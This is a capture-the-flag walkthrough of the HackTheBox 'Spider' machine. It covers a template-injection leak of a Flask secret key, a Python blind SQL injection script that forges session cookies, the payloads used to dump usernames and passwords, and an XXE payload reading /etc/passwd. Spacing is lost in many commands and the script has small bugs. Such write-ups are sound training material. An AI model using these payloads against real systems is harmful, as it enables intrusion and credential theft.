This is a hard difficulty Linux machine from HackTheBox created by infoSecjack and chivato. This machine is really complex with a lot of topic, it's excelent to refine your concept and scripting skills. In this scenario, my IP is 10.10.14.83 and the target’s IP is 10.129.193.169
Gathering Information
The first steps are about getting basic information about the target, by using nmap and searching information from the website.
nmap-sCV-p22,8010.129.193.169-oNWebScanStartingNmap7.92 ( https://nmap.org ) at 2023-05-16 17:33 Pacific SA Standard TimeNmapscanreportfor10.129.193.169Hostisup (0.17s latency).PORTSTATESERVICEVERSION22/tcpopensshOpenSSH7.6p1Ubuntu4ubuntu0.3 (Ubuntu Linux; protocol2.0)|ssh-hostkey:|204828:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)|2563a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7:ab:d1:cc (ECDSA)|_256a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)80/tcpopenhttpnginx1.14.0 (Ubuntu)|_http-title:Didnotfollowredirecttohttp://spider.htb/|_http-server-header:nginx/1.14.0 (Ubuntu)ServiceInfo:OS:Linux; CPE:cpe:/o:linux:linux_kernel
By searching "OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 launchpad" in google, we find that our target is a Linux-Bionic machine, is good to know every detail about the target... and the other information to the pocket, is that the port 80 use nginx/1.14.0.
We received an http error, let's add the IP to our /etc/host.
Local Terminal
#Linuxecho"10.129.193.169 spider.htb">>/etc/hosts#Windows, using Ubuntuecho"10.129.193.169 spider.htb">>/mnt/c/Windows/System32/drivers/etc/hosts
# Received a lot of "Response 502" so I decided to filter.wfuzz -c -f FuzzFile -t 200 --hc=404,502 -w /shared/wordlists/dirbuster/directory-list-2.3-medium.txt http://spider.htb/FUZZ
********************************************************* Wfuzz 3.1.0 - The Web Fuzzer *********************************************************Target:http://spider.htb/FUZZTotalrequests:220546=====================================================================IDResponseLinesWordCharsPayload=====================================================================000000001:200255L634W11273Ch"index"000000051:20085L169W2130Ch"register"000000039:20077L156W1832Ch"login"000000063:3023L24W219Ch"main"000000111:3023L24W219Ch"user"000000124:3023L24W219Ch"view"000000397:5004L40W290Ch"cart"000001211:3023L24W209Ch"logout"000001688:5004L40W290Ch"checkout"000045226:200255L634W11273Ch"http://spider.htb/"^C/usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80:UserWarning:Finishingpendingrequests...Totaltime:0ProcessedRequests:97234FilteredRequests:97224Requests/sec.:0
All right, there is a lot of basic information over the table, now we need to explore the website http://spider.htb/.
After exploring a little bit, is just a simple shop without weird directories, let's intercept the current session anywhere.
It looks like something to store our cart data, this means that there is a possible escenario where the cookie is connected to some sort of database. Create an account, login, add items to your cart and Intercept your Home-session.
Interesting, after registration, the login process is by using some sort of UUID code... for now it is irrelevant, let's "buy" and then intercept.
Ok, it works, from the cookie we can retrieve information...
and after a long search, because we can see the username after login, the best option now is to apply a Server Side Template Injection, to see how this happen, we are going to register as {{config}}, if it works, it's because is vulnerable.
From this point, my IP is 10.10.14.103 and the target IP is 10.129.194.26...
It's a lot of information, save the output in a file, in this page that file will be called "Config"
We found some configuration stuff like a new key to use, 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', and by the structure of the configuration, maybe this project is using Flask.
There is no new message por "Test" at the webpage, so we are working with a Blind SQL Injection, so the best method here is to create a python script to get character by character the information that you need.
SQLI.py
#!/usr/bin/python3frompwnimport*importpdb,stringimportrequestsdefdef_handler(sig,frame):print("\n\nBreak!\n\n")sys.exit(1)# Ctrl+Csignal.signal(signal.SIGINT,def_handler)#Variableschars=string.ascii_lowercaseurl="http://spider.htb"cookie='''{'cart_items': [], 'uuid': '3670359a-54c9-4f6d-8ad6-c4fb8c31906c'''secretKey = "Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942"def makeRequest(): # Progres system, quality of life. p1 = log.progress("Brute Force") p1.status("Starting brute force process") time.sleep(2) p2 = log.progress("Data") p2.status("Obtaining characters") time.sleep(2) database = "" count = 0 for char_position in range(1,10): for character in chars: p1.status(f"Testing with {character}") # If True, it will wait 5 seconds, else: Continue testing # The {'}'} is just to add a single } by using printf... yes, confusing. payload = f"\\'andif(substr(database(),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}" session_cookie = subprocess.check_output(f'''flask-unsign--sign--cookie"{cookie}{payload}"--secret'{secretKey}'''', shell=True).decode().strip() # flask-unsign --sign --cookie "{'cart_items': [], 'uuid': '3670359a-54c9-4f6d-8ad6-c4fb8c31906c\' and if(substr(database(),1,1)=\'s\',sleep(5),1)#'}" --secret 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942'
#session_cookie = f'''flask-unsign--sign--cookie"{cookie}{payload}"--secret'{secretKey}'''' #print(session_cookie) headers = { 'Cookie': 'session=%s' % session_cookie } time_start = time.time() r = requests.get(url, headers=headers) time_end = time.time() # If True, add the character to database if time_end - time_start > 5: database += character p2.status(database) count = 0 break count += 1 if count > range(0,len(chars)): breakif __name__ == '__main__': makeRequest()
And the command works, remember that we could use as payload a list with the most common database names, if you don't want to make a whole brute force script.
Now that we know the name of the database, the only thing that is necessary to change at the script is the payload.
New payload line:
payload = f"\\' and if(substr((select table_name from information_schema.tables where table_schema=\\'shop\\' limit 1,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
To know about other tables, we have two options, the first one is to change the "limit 0,1" to "limit 1,1" and so on, the other one is to add another for loop [for j in range(1,10)] to make a list with table names.
Result from SQLI.py
# With limit 0,1[p] Brute Force: Testing with z[▝] Data: items# With limit 1,1[./......] Brute Force: Testing with z[...\....] Data: messages# With limit 2,1[◣] Brute Force: Testing with z[q] Data: support# With limit 3,1[◥] Brute Force: Testing with z[.......\] Data: users
Table user found! Now we have to do the same thing but with columns, it's the same login:
New payload line:
payload = f"\\' and if(substr((select column_name from information_schema.columns where table_schema=\\'shop\\' and table_name=\\'users\\' limit 0,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
Result from SQLI.py
# With limit 0,1[.....\..] Brute Force: Testing with z[ ] Data: id# With limit 1,1[←] Brute Force: Testing with z[ ] Data: name# With limit 2,1[q] Brute Force: Testing with z[b] Data: password# With limit 3,1[▝] Brute Force: Testing with z[◐] Data: uuid
Now we know the column name from the table "users". Still, is almost the same logic, first just add some characters to the poll.
New char line:
chars=string.ascii_letters+string.digits+string.punctuation# New char_position rangefor char_position inrange(1,50):
From here, is a cycle between changes at the payload, only to select another column and get more information.
New payload line:
payload = f"\\' and if(substr((select name from users limit 0,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
# Column: name // limit 0,1[<] Brute Force: Testing with z[ ] Data: chivpayload = f"\\' and if(substr((select password from users limit 0,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
# Column: password // limit 0,1[▅] Brute Force: Testing with z[.] Data: ch1VW4sHERE7331payload = f"\\' and if(substr((select uuid from users limit 0,1),{char_position},1)=\\'{character}\\',sleep(5),1)#'{'}'}"
# Column: uuid // limit 0,1[o] Brute Force: Testing with z[∧] Data: 129f60ea-30cf-4065-afb9-6be45ad38b73
Login to the web page with the new credentials.
I tried some stuff but nothing happens, but there is an URL there.
sshchiv@10.129.194.205Theauthenticityofhost'10.129.194.205 (10.129.194.205)'can't be established.ED25519 key fingerprint is SHA256:rq9z2YnbZs3ZBIGMX0c2Zv5Y5jk/1Zl5LhztpJxelRs.This key is not known by any other namesAre you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '10.129.194.205' (ED25519) to the list of known hosts.chiv@10.129.194.205: Permission denied (publickey).
There is something at the port 8080, usually used to host other website.
Target Terminal [Chiv]
curllocalhost:8080<!DOCTYPEHTMLPUBLIC"-//W3C//DTD HTML 3.2 Final//EN"><title>Redirecting...</title><h1>Redirecting...</h1><p>You should be redirected automatically to target URL: <a href="/login">/login</a>.Ifnotclickthelink.c
It exist, but isn't redirecting us, so an alternative here is to use a local portforwarding to connect from our machine to that website.
Local Terminal
ssh-iid_rsachiv@10.129.194.205-L80:127.0.0.1:8080
Browser: localhost
If you intercept the moment when you login, you send the username, here was "hola", and you send a "version", then receive a new cookie. We know the process to decrypt that cookie.
The output return the API version, this in definitely a modifiable part from the request, so, let's create a payload and use Burpsuite to send it.
Payload
username=%26test%3b&version=1.0.0--><!DOCTYPE foo [ <!ENTITY test SYSTEM "file:///etc/passwd"> ]><!--
Then press forward and voila, you will see the whole /etc/passwd, for some reason, if you try to advance by only using Burpsuite, remember to change the current cookie to the new one.